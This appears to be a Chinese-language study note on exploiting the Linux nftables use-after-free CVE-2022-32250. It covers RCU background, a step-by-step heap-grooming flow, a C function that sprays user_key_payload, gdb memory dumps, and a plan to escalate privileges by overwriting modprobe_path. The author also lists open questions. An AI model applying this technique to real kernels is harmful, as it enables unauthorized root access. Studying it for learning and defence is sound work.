[!note] 不过一开始分配 user_key_payload结构体时候 rcu 没有立即赋值 这和 RCU 这种机制有关系,RCU 用在数据的删除和回收阶段。所以需要调用 key_revoke 或者 key_update
RCU 机制
关于 RCU 可以查看 What is RCU? – “Read, Copy, Update” — The Linux Kernel documentation。简单来说就是,把数据更新的操作分成删除和回收两个步骤,目的是删除和读取可以同时进行。
- 删除指向数据结构的指针,以便后续读者无法获得对其的引用。
- 等待所有先前的读者完成其 RCU 读取端关键部分。
- 此时,不可能有任何读者持有对该数据结构的引用,因此现在可以安全地回收它
总体流程
- 放置不合法的 expr 随后被 destroy
- 用 posix_msg_tree_node 申请刚刚被 destroy 的块
- 再放置一个不合法的 expr 随后被 destroy,这时候的 binding 触发,
posix_msg_tree_node结构体的msg_list.next位置被写上新的 expr + 0x18 的值,新的 expr 随后也被 destroy - 用
user_key_payload堆喷覆盖最新一次释放的 expr,伪造出来msg_msg的前8*5个字节。物理地址相邻的块也被user_key_payload覆盖,伪造出来security和需要泄露的data区域
详细调试过程
问题
[!question] 为什么申请的 user_key_payload 申请出来长这样 代码是
void spray_key_payload_with_attr(uint64_t next, uint64_t prev, int size){char buf[0x40];char buf_p[0x40] = {0};*(uint64_t *) (buf_p + 0) = next;*(uint64_t *) (buf_p + 0x8) = prev;*(uint64_t *) (buf_p + 0x10) = 0x1122334455667788;*(int *) (buf_p + 0x18) = size;for (int i = 0; i < KEY_SPRAY_SIZE; i++) {memset(buf, key_idx++, 0x8);key_id[i] = key_alloc(buf, buf_p, 0x20); // description need to be different}}在 gdb 里面是这样,本应该是 rcu 的位置就很奇怪,感觉可能是 key 的分配逻辑不太清楚
pwndbg> x/20gx 0xffff888003b91bc00xffff888003b91bc0: 0xffffffff823263e0 0xffff888003b21e000xffff888003b91bd0: 0x0000000000000020 0xffff888003b910980xffff888003b91be0: 0xffff888003b91098 0x11223344556677880xffff888003b91bf0: 0x0000000000000020 0x00000000000000000xffff888003b91c00: 0xcccccccccccccccc 0xcccccccccccccccc0xffff888003b91c10: 0xcccccccccccc0020 0xffff888003b910980xffff888003b91c20: 0xffff888003b91098 0x11223344556677880xffff888003b91c30: 0x0000000000000020 0xcccccccccccccccc0xffff888003b91c40: 0xcccccccccccccccc 0xcccccccccccccccc0xffff888003b91c50: 0xcccccccccccc0020 0xffff888003b91098
构造 msg_msg 的unlink来篡改 modprobe_path 提权
参考
Linux Kernel Exploit (CVE-2022–32250) with mqueue | by Theori Vulnerability Research | Theori BLOG
【kernel exploit】CVE-2022-32250 nftables UAF写漏洞利用 — bsauce
Use-After-Free Vulnerability - CVE-2022-32250 - vsociety
遗留的问题
为什么有写地方是初始化成 0xcc,slub_debug 怎么关掉?
在泄露 kaslr 布置 user_key_payload 的步骤里面有点晕,不太懂怎么布置的…